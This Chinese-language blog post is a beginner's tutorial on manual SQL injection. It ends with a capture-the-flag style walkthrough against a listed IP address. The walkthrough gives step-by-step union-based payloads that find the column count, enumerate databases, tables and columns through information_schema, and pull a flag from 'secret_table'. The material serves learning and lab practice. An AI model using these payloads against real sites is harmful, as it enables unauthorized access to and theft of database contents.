1. 程式人生 > >一次簡單的SQL手工注入

一次簡單的SQL手工注入

1. 首先要了解SQL注入的原理:

  SQL Injection:就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。

  具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。比如先前的很多影視網站洩露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到SQL注入式攻擊.(來源於百度)

  也就是說網站頁面包含與資料庫互動的部分(例如新聞網站的查詢功能),而當在網站輸入資料資訊,資料資訊被程式化後傳入資料庫執行的過程中,網站的開發人員沒有對這些傳入資料庫的相應資料做安全處理(比如過濾特殊字元、編碼等),導致黑客可以將惡意程式碼(也就是包含非法SQL語句的SQL命令)通過網站前段傳入資料庫,並在資料庫中執行這些具有黑客目的的SQL語句,從而造成資料庫資訊洩露、損壞等後果。

 

2. SQL注入的一般分類

按照注入點型別來分類

(1)數字型注入點

   許多網頁連結有類似的結構 http://www.example.com/12.php?id=1 基於此種形式的注入,一般被叫做數字型注入點,緣由是其注入點 id 型別為數字,在大多數的網頁中,諸如 檢視使用者個人資訊,檢視文章等,大都會使用這種形式的結構傳遞id等資訊,交給後端,查詢出資料庫中對應的資訊,返回給前臺。這一類的 SQL 語句原型大概為 select * from 表名 where id=1 若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where id=1 and 1=1

(2)字元型注入點

   網頁連結有類似的結構 http://xwww.example.com/users.php?user=admin 這種形式,其注入點 user 型別為字元型別,所以叫字元型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where user='admin' 值得注意的是這裡相比於數字型注入型別的sql語句原型多了引號,可以是單引號或者是雙引號。若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where user='admin' and 1=1 ' 我們需要將這些煩人的引號給處理掉。

(3)搜尋型注入點

   這是一類特殊的注入型別。這類注入主要是指在進行資料搜尋時沒過濾搜尋引數,一般在連結地址中有 "keyword=關鍵字" 有的不顯示在的連結地址裡面,而是直接通過搜尋框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 欄位 like '%關鍵字%' 若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where 欄位 like '%測試%' and '%1%'='%1%'

 

3. 如可判斷是否存在SQL注入(小白總結,僅供參考)

  簡單點講就是:

    所有的輸入只要和資料庫進行互動的,都有可能觸發SQL注入

  SQL注入按照資料提交的方式可分為:

   (1)GET 注入:提交資料的方式是 GET , 注入點的位置在 GET 引數部分。比如有這樣的一個連結http://xxx.com/news.php?id=1 , id 是注入點。

   (2)POST 注入:使用 POST 方式提交資料,注入點位置在 POST 資料部分,常發生在表單中。

   (3)Cookie 注入:HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個欄位中。

   (4)HTTP 頭部注入:注入點在 HTTP 請求頭部的某個欄位中。比如存在 User-Agent 欄位中。嚴格講的話,Cookie 其實應該也是算頭部注入的一種形式。因為在 HTTP 請求的時候,Cookie 是頭部的一個欄位。

  根據提交方式分類後,你會發現SQL注入最長髮生的位置在連結地址、資料引數、cookie資訊以及HTTP請求頭等位置。

  瞭解了可能存在SQL注入的位置,然後我們需要判斷在這些位置上是否能夠觸發SQL注入,最簡單的方式就是在相應位置輸入and 1=1 (以及and 1=1 的變換形式)來判斷。對於不同的注入點型別,比如字元型需要適當新增單引號,而對於數字型的注入點則不需要。

 

4. SQL注入的高階分類(按照執行效果分類)

(1)基於布林的盲注:即可以根據返回頁面判斷條件真假的注入。

(2)基於時間的盲注:即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

(3)基於報錯注入:即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

(4)聯合查詢注入:可以使用union的情況下的注入。

(5)堆查詢注入:可以同時執行多條語句的注入。

(6)寬位元組注入:利用gbk是多位元組的編碼,兩個位元組代表一個漢字

 

5. 進入正題

例項連結:http://111.198.29.45:57639/(本文僅供開發人員學習參考)

(1)根據以上知識判斷,在搜尋框中輸入and 1=1(或or 1=1等)的一些變換形式不斷嘗試,最後發現輸入' and 1=1 #返回頁面正常,因此初步判斷網站存在基於報錯的搜尋型注入點,

(2)然後開始進行手工注入

  a.  暴欄位長度:命令 ' order by 3 #  頁面返回正常,命令 ' order by 4 # 報錯,因此判斷欄位長度為3。

     b. 匹配欄位:命令 ' select 1,2,3 #無法執行,輸入命令 ' and 1=1 union select 1,2,3 # 頁面以及欄位資訊正常回顯(因此該注入支援union聯合查詢注入)

        暴欄位位置:命令 ' and 1=2 union select 1,2,3 # 。頁面返回2,3

    c. 暴庫,命令(MySQL暴庫命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA  # 。根據頁面返回資訊可知網站使用MYSQL資料庫,且網站的資料庫為news。

        命令解析:SCHEMA_NAME當前資料庫名 

                      information_schema(資料詞典)是MySQL自帶的資料庫,它提供了訪問資料庫元資料的方式(元資料是關於資料的資料,如資料庫名或表名,列的資料型別,或訪問許可權等)。

                      SCHEMATA(information_schema中的一個表):提供了當前MySQL例項中所有資料庫的資訊。show databases的結果取之此表。

    d. 猜表,命令  ' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news' # 。可以看到有news和secret_table兩個表。

        命令解析:TABLE_NAME 當前表名

                        TABLES(information_schema中的一個表)提供了關於資料庫中的表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊。是show tables from schemaname的結果取之此表。

    e. 猜欄位,命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'news' #  

    ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #

 輸入兩個命令後發現表二中有 fl4g  欄位

    f. 暴密碼(flag),命令 ' and 1=2 union select 1,2,fl4g from secret_table # 。得到flag,SQL注入完成

 

 

本文主要是學習,望各位大佬多多提意見!Thank You !<